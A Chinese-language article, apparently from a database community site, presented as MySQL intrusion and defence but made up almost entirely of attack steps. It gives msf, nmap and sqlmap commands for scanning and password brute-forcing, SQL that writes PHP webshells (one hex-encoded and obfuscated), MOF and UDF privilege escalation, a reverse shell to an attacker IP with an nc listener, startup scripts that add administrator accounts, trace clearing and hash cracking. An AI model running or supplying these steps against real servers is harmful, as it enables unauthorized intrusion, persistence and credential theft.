教你一些MySQL数据库入侵及防御方法

陈小兵 2018-06-07 11:44:23

作者介绍

陈小兵,高级工程师,具有丰富的信息系统项目经验及18年以上网络安全经验,现主要从事网络安全及数据库技术研究工作。《黑客攻防及实战案例解析》《Web渗透及实战案例解析》《安全之路-Web渗透及实战案例解析第二版》《黑客攻防实战加密与解密》《网络攻防实战研究:漏洞利用与提权》作者,在国内多本学术期刊发表论文20余篇,并在多本IT杂志发表文章100余篇。

 

在针对网站渗透中,很多都是跟 MySQL 数据库有关,各种 MySQL 注入、MySQL 提权、MySQL 数据库 Root 账号 webshell 获取等,但没有一个对 MySQL 数据库渗透较为全面的总结。

 

针对这种情况我们开展了研究,但技术的进步永无止境,思想有多远,路就可以走多远,在研究 MySQL 数据库安全之余,我们也对 MySQL 如何通过 msf、sqlmap 等来进行扫描、漏洞利用、提权、MySQL 密码破解和获取 webshell 等进行了详细研究。

 

一、MySQL 信息收集

 

1、端口信息收集
 

 

MySQL 默认端口是 3306 端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用:

 

  • iisputter,直接填写 3306 端口,IP 地址填写单个或者 C 段地址;

  • Nmap 扫描 Nmap -p 3306 192.168.1.1-254。

     

特定目标的渗透,可能需要对全端口进行扫描,可以使用 Nmap 对某一个 IP 地址进行全端口扫描,端口扫描软件还有 sfind 等 DOS 下扫描的工具。

 

2、版本信息收集
 

 

msf 查看版本信息“auxiliary/scanner/mysql/mysql_version”模块

 

以扫描主机 192.168.157.130 为例,命令为:

use auxiliary/scanner/mysql/mysql_version

set rhosts 192.168.157.130

run

MySQL 查询版本命令:

 

SELECT @@version、SELECT  version();

sqlmap 通过注入点扫描确认信息:

sqlmap.py -u url --dbms mysql

phpmyadmin 管理页面登录后查看 localhost->变量->服务器变量和设置中的 version 参数值。

 

3、数据库管理信息收集
 

 

MySQL 管理工具有多种,例如 phpmyadmin 网站管理,Navicat for MySQL 以及 MySQL Front 等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。

 

4、msf 信息收集模块
 

 

MySQL 哈希值枚举:

use auxiliary/scanner/mysql/mysql_hashdump

set username root

set password root

run

获取相关信息:

use auxiliary/admin/mysql/mysql_enum

set username root

set password root

run

获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。

 

执行 MySQL 语句,连接成功后可以在 msf 执行 SQL 语句,跟 sqlmap 的“--sql-shell”模块类似

use auxiliary/admin/mysql/mysql_sql

将mysql_schem导出到本地/root/.msf4/loot/文件夹下

use auxiliary/scanner/mysql/mysql_schemadump

文件枚举和目录可写信息枚举

auxiliary/scanner/mysql/mysql_file_enum

auxiliary/scanner/mysql/mysql_writable_dirs

没有测试成功过,需要定义枚举目录和相关文件,觉得基本没什么用。

 

二、MySQL 密码获取

 

1、暴力破解
 

 

MySQL 暴力破解主要有几种

 

网页在线连接破解:

 

可以使用 burpsuite 和 phpMyAdmin 多线程批量破解工具。

下载:

  • https://portswigger.net/burp/

  • http://pan.baidu.com/s/1c1LD6co

 

msf 通过命令行进行暴力破解:

 

msf 破解 MySQL 密码模块 auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。

 

对单一主机仅仅需要设置 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它参数根据实际情况进行设置。

 

场景A:对内网获取 Root 某个口令后,扩展渗透

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.168.157.1-254

set password root

set username root

run

执行后对 192.168.157.1-254 进行 MySQL 密码扫描验证。

 

场景B:使用密码字典进行扫描

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.168.157.1-254

set pass_file /tmp/password.txt

set username root

run

 

使用 nmap 扫描并破解密码:

 

对某一个 IP 或者 IP 地址段进行 nmap 默认密码暴力破解并扫描

nmap --script=mysql-brute 192.168.157.130

nmap --script=mysql-brute 192.168.157.1-254

使用 Root 账号 Root 密码进行 MySQL 密码验证并扫描获取指定 IP 地址的端口信息以及 MySQL 数据库相关信息

nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130

检查 Root 空口令

nmap --script mysql-empty-password 192.168.195.130

 

对 MySQL 口令进行扫描:

 

使用 hscan 工具对 MySQL 口令进行扫描,需要设置扫描 IP 地址段以及数据库口令字典及用户名字典。

 

2、源代码泄露
 

 

网站源代码备份文件:

 

一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对 zip/rar/tar/tar.gz/gz/sql 等后缀文件进行扫描。

 

配置备份文件:

 

使用 ultraedit 等编辑文件编辑数据库配置文件后,会留下 bak 文件。

 

3、文件包含
 

 

本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。

 

4、其它情况
 

 

有些软件会将 IP 地址、数据库用户名和密码写进程序中,运行程序后,通过 cain 软件进行嗅探,可以获取数据库密码。另外 MySQL客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接 IP 地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。

 

三、MySQL 获取 webshell

 

1、phpmyadminroot 账号获取 webshell

 

MySQL Root 账号通过 phpMyAdmin 获取 webshell 的思路,主要有下面几种方式,以第1)2)6)8)方法较佳,其它可以根据实际情况来进行。

 

1)直接读取后门文件:

 

通过程序报错、phpinfo 函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过 load_file 直接读取。

 

2)直接导出一句话后门:

 

前提需要知道网站的真实物理路径,例如呼求偶真实路径 D:\work\WWW,则可以通过执行以下查询,来获取一句话后门文件 cmd.php,访问地址:http://www.somesite.com/cmd.php

select ''INTO OUTFILE 'D:/work/WWW/antian365.php'

 

3)创建数据库导出一句话后门:

 

在查询窗口直接执行以下代码即可,跟2)原理类似

CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );

INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('');

SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php';

DROP TABLE IF EXISTS `antian365`;

 

4)可执行命令方式:

 

创建执行命令形式的 Shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行 DOS 命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行dos命令)

select '\';system($_GET[\'cmd\']); echo \'\'; ?>' INTO OUTFILE 'd:/www/antian365.php'

另外在 Linux 下可以导出直接执行命令的 Shell

SELECT '' INTO OUTFILE '/var/www/shell.php';

http://localhost/shell.php?c=cat%20/etc/passwd

 

5)过杀毒软件方式:

 

通过后台或者存在上传图片的地方,上传图片 publicguide.jpg,内容如下

".base64_decode($a));?>

然后通过图片包含 temp.php,导出 webshell

select ''INTO OUTFILE 'D:/work/WWW/antian365.php'

一句话后门密码:antian365

 

6)直接导出加密 webshell:

 

一句话后门文件密码:pp64mqa2x1rnw68,执行以下查询直接导出加密 webshell,D:/WEB/IPTEST/22.php,注意在实际过程需要修改 D:/WEB/IPTEST/22.php

select unhex('203C3F7068700D0A24784E203D2024784E2E7375627374722822697962
34327374725F72656C6750383034222C352C36293B0D0A246C766367203D20737472
5F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D20
24784E2E73756273747228226C396364706C616365704172424539646B222C342C352
93B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222
C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63
567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34
367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B4
24474394C366E6D222C312C36293B0D0A246967203D207472696D282262333977306
76E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C226372597
26572596122293B0D0A24797531203D207374725F73706C697428226269316238376D
3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222
C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574
383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E2
82277493339222C22222C225F774933396477493339656322293B0D0A246838707320
3D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293
B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A
222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467
356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C225166705466
70314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B
22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E4
54A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746
F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2
263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734
743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383
355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675
636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756
273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D20737
4725F73706C697428226167717130396762716E31222C34293B0D0A2474203D202474
2E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A2
47079203D2073747269706F7328226C677938687472727631746333222C2270792229
3B0D0A2474203D2024742E24784E282265503332222C22222C2262584665503332682
2293B0D0A2478703364203D2073747269706F732822756B6C306E626E783967743322
2C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4
D6E677863222C372C35293B0D0A2464743262203D207374726C656E2822653461356
16275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263
644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D20
7374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A24742
03D2024742E73756273747228226D34616F7864756A676E58536B63784C3446576359
64222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F
3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C3
12C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293
B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D20737
4726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F
73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C74
72696D28226E353270317067616570656F6B6622293B0D0A2465307077203D2072747
2696D28227575346D686770356339706E613465677122293B0D0A24756768203D2074
72696D282272637064336F3977393974696F3922293B0D0A246772636B203D2073747
26C656E2822783572697835627031786B793722293B0D0A24656F3674203D20737472
6C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E7
1203D207374725F73706C6974282270726D36676968613176726F333630346175222C
38293B0D0A24756738203D20727472696D28226563387735327375706234767538656
F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65
376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707
266357930386538666C6666773032356A38222C38293B0D0A24767972203D20737472
5F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A247
77266203D20727472696D282266797839396F3739333868377567716822293B0D0A24
713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A6
6756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2
822666C7463707862377466626A736D7422293B0D0A3F3E') into dumpfile 'D:/WEB/IPTE
ST/22.php'

(上下拉动可完整查看)

 

注意:也可以使用 http://tool.lu/hexstr/ 网站的代码转换来实现,将需要导出的文件代码复制到网站的字符串中,通过字符串转成十六进制,将十六进制字符串放入 unhex 函数进行查询即可

select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php'

 

7)CMS 系统获取 webshell:

 

有些情况下无法获取网站的真实路径,则意味着无法直接导出一句话 webshell,可以通过 CMS 系统管理账号登录系统后,寻找漏洞来突破,例如 dedecms 可以通过破解管理员账号后直接上传文件来获取 webshell。Discuz!的 UC_key 可以直接获取 webshell。甚至某些系统可直接上传 php 文件。下面是一些 CMS 系统渗透的技巧:

 

  • dedecms 系统的密码有直接 md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可;

  • phpcms v9 版本的密码需要加 salt 进行破解,需要选择破解算法 md5(md5($pass).$salt) 进行破解;

  • Discuz!论坛帐号保存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要带salt进行,其破解时是使用password:salt进行,例如 a0513df9929afc972f024fa4e586e829:399793。

 

8)general_log_file 获取 webshell:

 

查看 genera 文件配置情况

show global variables like "%genera%";

关闭 general_log

set global general_log=off;

通过 general_log 选项来获取 webshell

set global general_log='on';

SET global general_log_file='D:/phpStudy/WWW/cmd.php';

在查询中执行语句

SELECT '';

Shell 为 cmd.php,一句话后门,密码为cmd。

 

2、Sqlmap 注入点获取 webshell

 

Sqlmap 注入点获取 webshell 的前提是具备写权限,一般是 Root 账号,通过执行命令来获取

sqlmap -u url--os-shell

  echo "" >/data/www/1.php

 

四、MySQL 提权

 

1、mof提权
 

 

webshell 上传 mof 文件提权:

 

MySQL Root 权限 MOF 方法提权是来自国外 Kingcope 大牛发布的 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),简称 MySQL 远程提权 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

 

  • 方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件;

  • 方法2:使用 IMofCompiler 接口和 $ CompileFile 方法;

  • 方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

 

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用 MOF 方法提权的前提是当前 Root 帐号可以复制文件到 %SystemRoot%\System32\Wbem\MOF 目录下,否则会失败!

 

该漏洞的利用前提条件是必须具备 MySQL 的 Root 权限,在 Kingcope 公布的 0day 中公布了一个 pl 利用脚本。

 

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100 为 MySQL 数据库所在服务器,MySQL 口令为空,反弹到 192.168.2.150 的 5555 端口上。

 

生成 nullevt.mof 文件:

 

将以下代码保存为nullevt.mof文件:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter

EventNamespace = "Root\\Cimv2"; 

Name  = "filtP2"; 

    Query = "Select * From __InstanceModificationEvent " 

            "Where TargetInstance Isa \"Win32_LocalTime\" " 

            "And TargetInstance.Second = 5"; 

QueryLanguage = "WQL"; 

}; 

instance of ActiveScriptEventConsumer as $Consumer 

    Name = "consPCSV2"; 

ScriptingEngine = "JScript"; 

ScriptText = 

    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; 

}; 

instance of __FilterToConsumerBinding

    Consumer   = $Consumer; 

    Filter = $EventFilter; 

};

(上下拉动可完整查看)

 

通过 MySQL 查询将文件导入:

 

执行以下查询语句,将上面生成的 nullevt.mof 导入到 c:\windows\system32\wbem\mof\ 目录下在windows7 中默认是拒绝访问的。导入后系统会自动运行,执行命令

selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

 

msf 直接 mof 提权:

 

msf 下的 exploit/windows/mysql/mysql_mof 模块提供了直接 mof 提权,不过该漏洞成功跟操作系统权限和 MySQL 数据库版本有关,执行成功后会直接反弹 Shell 到 meterpreter

use exploit/windows/mysql/mysql_mof

set rhost 192.168.157.1 //设置需要提权的远程主机IP地址

set rport 3306 //设置mysql的远程端口

set password root //设置mysql数据库root密码

set username root //设置mysql用户名

options //查看设置

run 0

 

技巧:要是能够通过网页连接管理(phpmyadmin),则可以修改 host 为“%”并刷新权限后,则可以通过 msf 等工具远程连接数据库。默认 Root 等账号不允许远程连接,除非管理员或者数据库用户自己设置。

 

方法1:本地登入 MySQL,更改 "MySQL" 数据库里的 "user" 表里的 "host" 项,将"localhost"改为"%"

use mysql;

 update user set host = '%' where user = 'root';

FLUSH PRIVILEGES ;

 select host, user from user;

 

方法2:直接授权(推荐)

从任何主机上使用 Root 用户,密码:youpassword(你的root密码)连接到 MySQL 服务器

# mysql -u root -proot

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;

FLUSH PRIVILEGES;

 

推荐重新增加一个用户,在实际测试过程中发现很多服务器使用 Root 配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改 Root 配置。

 

2、udf 提权
 

 

UDF 提权是利用 MySQL 的自定义函数功能,将 MySQL 账号转化为系统 system 权限,利用条件的目标系统是 Windows(Win2000/XP/2003);拥有 MySQL 的某个用户账号,此账号必须有对 MySQL 的 insert 和 delete 权限以创建和抛弃函数,有 Root 账号密码Windows 下 UDF 提权对于 Windows2008 以下服务器比较适用,也即针对 Windows2000、Windows2003 的成功率较高。

 

UDF 提权条件:

 

  • MySQL 版本大于 5.1 版本 udf.dll 文件必须放置于 MySQL 安装目录下的 lib\plugin 文件夹下。

  • MySQL 版本小于 5.1 版本。udf.dll 文件在 Windows2003 下放置于 c:\windows\system32,在 Windows2000 下放置于 c:\winnt\system32。

  • 掌握的 MySQL 数据库的账号有对 MySQL 的 insert 和 delete 权限以创建和抛弃函数,一般以 Root 账号为佳,具备 Root 账号所具备的权限的其它账号也可以。

  • 可以将 udf.dll 写入到相应目录的权限。

 

提权方法:

 

获取数据库版本、数据位置以及插件位置等信息

select version();//获取数据库版本

select user();//获取数据库用户

select @@basedir ;//获取安装目录

show variables like '%plugins%';  //寻找mysql安装路径

导出路径

C:\Winnt\udf.dll    Windows 2000

C:\Windows\udf.dll   Windows2003(有的系统被转义,需要改为C:Windowsudf.dll)

 

MySQL 5.1 以上版本,必须要把 udf.dll 文件放到 MySQL 安装目录下的 libplugin 文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用 webshell 找到 MySQL 的安装目录,并在安装目录下创建 libplugin 文件夹,然后将 udf.dll 文件导出到该目录即可。

 

在某些情况下,我们会遇到 Can't open shared library 的情况,这时就需要我们把 udf.dll 导出到 lib\plugin 目录下才可以,网上大牛发现利用 NTFS ADS 流来创建文件夹的方法

select @@basedir;  //查找到mysql的目录

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   //利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

执行成功以后就会 plugin 目录,然后再进行导出 udf.dll 即可。

 

创建 cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询

create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;

执行命令

select sys_eval(‘whoami’);

一般情况下不会出现创建不成功哦。连不上 3389 可以先停止 windows 防火墙和筛选

select sys_eval(‘net stop policyagent’);

select sys_eval(‘net stop sharedaccess’);

udf.dll 下常见函数

cmdshell  执行cmd;

downloader  下载者,到网上下载指定文件并保存到指定目录;

open3389    通用开3389终端服务,可指定端口(不改端口无需重启);

backshell   反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread     读注册表;

regwrite    写注册表;

shut        关机,注销,重启;

about       说明与帮助函数;

具体用户示例

select cmdshell('net user iis_user 123!@#abcABC /add');

select cmdshell('net localgroup administrators iis_user /add');

select cmdshell('regedit /s d:web3389.reg');

select cmdshell('netstat -an');

清除痕迹

drop function cmdshell;//将函数删除

删除 udf.dll 文件以及其它相关入侵文件及日志。

 

常见错误

#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

SHOW VARIABLES LIKE "secure_file_priv"

在 my.ini 或者 mysql.cnf  文件中注销 (使用#号) 包含 secure_file_priv 的行。

 

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要将 my.ini 中的 skip-grant-tables 选项去掉。

 

webshell 下 udf 提权:

 

通过集成 udf 提权的 webshell 输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。

 

MySQL 提权综合利用工具:

 

v5est0r 写了一个 MySQL 提权综合利用工具,详细情况请参考其代码共享网站:https://github.com/v5est0r/Python_FuckMySQL,其主要功能有:

 

  • 自动导出你的 backdoor 和 mof 文件;

  • 自动判断 MySQL 版本,根据版本不同导出 UDF 的 DLL 到不同目录,UDF 提权;

  • 导出 LPK.dll 文件,劫持系统目录提权;

  • 写启动项提权。

 

UdF 自动提权

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf

LPK 劫持提权

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk

启动项提权

python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst

例如通过 LOAD_FILE 来查看 MySQL 配置文件 my.ini,如果其中配置了 skip-grant-tables,这无法进行提权。

 

3、无法获取 webshell 提权
 

 

连接 MySQL:

  • mysql.exe -h ip -uroot -p

  • phpmyadmin

  • Navicat for MySQL

 

查看数据库版本和数据路径:

 

SELECT VERSION( );

Select @@datadir;

5.1 以下版本,将 dll 导入到 c:/windows 或者 c:/windows/system32/

5.1 以上版本 通过以下查询来获取插件路径

SHOW VARIABLES WHERE Variable_Name LIKE "%dir";

show variables like '%plugin%' ;

select load_file('C:/phpStudy/Apache/conf/httpd.conf')

select load_file('C:/phpStudy/Apache/conf/vhosts.conf')

select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')

select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')

select load_file('d:/phpStudy/Apache/conf/vhosts.conf')

 

修改 MySQL.txt:

 

MySQL.txt 为 udf.dll 的二进制文件转成十六进制代码。

 

  • 先执行导入 ghost 表中的内容,修改以下代码的末尾代码:select backshell("YourIP",4444);

  • 导出文件到某个目录

 

 

导出过程:

select data from Ghost into dumpfile 'c:/windows/mysqldll.dll'; 

select data from Ghost into dumpfile 'c:/windows/system32/mysqldll'; 

select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll'; 

select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll'; 

select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll' 

select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll'; 

C:\ProgramData\MySQL\MySQL Server 5.1\Data\mysql/user.myd

select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm');

select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'

(上下拉动可完整查看)

 

  • 查看 FUNCTION 中是否存在 cmdshell 和 backshell,存在则删除

drop FUNCTION cmdshell;//删除cmdshell

drop FUNCTION backshell;//删除backshell

  • 创建backshell

CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
  • 在具备独立主机的服务器上执行监听

nc -vv -l -p 44444
  • 执行查询

select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口

 

获取 webshell 后添加用户命令:

 

注意如果不能直接执行,则需要到 c:\windows\system32\ 下执行

net user antian365 Www.Antian365.Com /add 

net localgroup administrators antian365

 

4、Sqlmap 直连数据库提权
 

 

Sqlmap 直接连接数据库提权,需要有写入权限和 Root 账号及密码,命令如下:

 

  • 连接数据库:sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell

  • 选择操作系统的架构,32 位操作系统选择 1,64 位选择 2

  • 自动上传 udf 或提示 os-shell

  • 执行 whomai 命令如果获取系统权限,则表示提权成功。

 

Msfudf 提权:

 

Kali 渗透测试平台下执行(kali下载地址https://www.kali.org/downloads/)

msfconsole

use exploit/windows/mysql/mysql_payload

options

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run 0或者exploit

 

msf 下 udf 提权成功率并不高,跟 windows 操作系统版本,权限和数据库版本有关,特别是 secure-file-priv 选项,如果有该选项基本不会成功。

 

5、启动项提权
 

 

创建表并插入 vbs 脚本到表中:

 

依次使用以下命令

show databases ;

use test;

show tables;

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );

select * from a;

导出 vbs 脚本到启动:

 

使用以下命令将刚才在 a 表中创建的 vbs 脚本导出到启动选项中

select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误。

 

推荐使用以下脚本

show databases ;

use test;

show tables;

create table b (cmd text);

insert into b values ("net user Aspnet123545345!* /add");

insert into b values ("net localgroup administrators Aspnet /add");

insert into b values ("del b.bat");

select * from b into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\b.bat";

该脚本执行后虽然会闪现 DOS 窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过 MySQL 连接器连接并执行以上命令后,在“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录中会有刚才导出的 b.bat 脚本文件。

 

说明:在不同的操作系统中“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为

select * from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat";

Windows 2008 Server的启动目录为:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs

其 vbs 方法可以参考如下写法

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " );

select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";

 

msf 下模块 exploit/windows/mysql/mysql_start_up 提权:

  

      use exploit/windows/mysql/mysql_start_up

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run

msf 下 mysql_start_up 提权有一定的几率,对英文版系统支持较好。

 

五、msf 其它相关漏洞提权

 

1、MySQL 身份认证漏洞及利用(CVE-2012-2122)

 

当连接 MariaDB/MySQL 时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是 memcmp() 返回一个非零值,也会使 MySQL 认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入 SQL 数据库。按照公告说法大约 256 次就能够蒙对一次。受影响的产品: 

 

  • All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 不存在漏洞

  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not 不存在漏洞

 

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

 

2、exploit/windows/mysql/mysql_yassl_hello

 

3、exploit/windows/mysql/scrutinizer_upload_exec

 

六、MySQL 密码破解

 

1、Cain 工具破解 MySQL 密码
 

 

使用 UltraEdit-32 编辑器直接打开 user.MYD 文件,打开后使用二进制模式进行查看,在 Root 用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如 506D1427F6F61696B4501445C90624897266DAE3。

 

注意:

  • root 后面的“*”不要复制到字符串中。

  • 在有些情况下需要往后面看看,否则得到的不是完整的 MYSQLSHA1 密码,总之其正确的密码位数是 40 位。

 

安装 cain 工具,使用 cracker,右键单击“Add tolist”将 MySQL Hashes 值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。

 

2、网站在线密码破解
 

 

  • cmd5.com 破解。将获取的 MySQL 值放在 cmd5.com 网站中进行查询,MySQL 密码一般都是收费的;

  • somd5.com 破解。Somd5.com 是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码。

 

3、Oclhash 破解
 

 

Hashcat 支持很多种破解算法,免费开源软件,官方网站 https://hashcat.net/hashcat/,破解命令

hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型

hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型

 

4、John the Ripper password cracker
 

 

John the Ripper 下载地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper 除了能够破解 linux 外,还能破解多种格式的密码

Echo *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt

John –format =mysql-sha1 hashes.txt

john --list=formats | grep mysql //查看支持mysql密码破解的算法

最新评论
访客 2023年08月20日

230721

访客 2023年08月16日

1、导入Mongo Monitor监控工具表结构(mongo_monitor…

访客 2023年08月04日

上面提到: 在问题描述的架构图中我们可以看到,Click…

访客 2023年07月19日

PMM不香吗?

访客 2023年06月20日

如今看都很棒

活动预告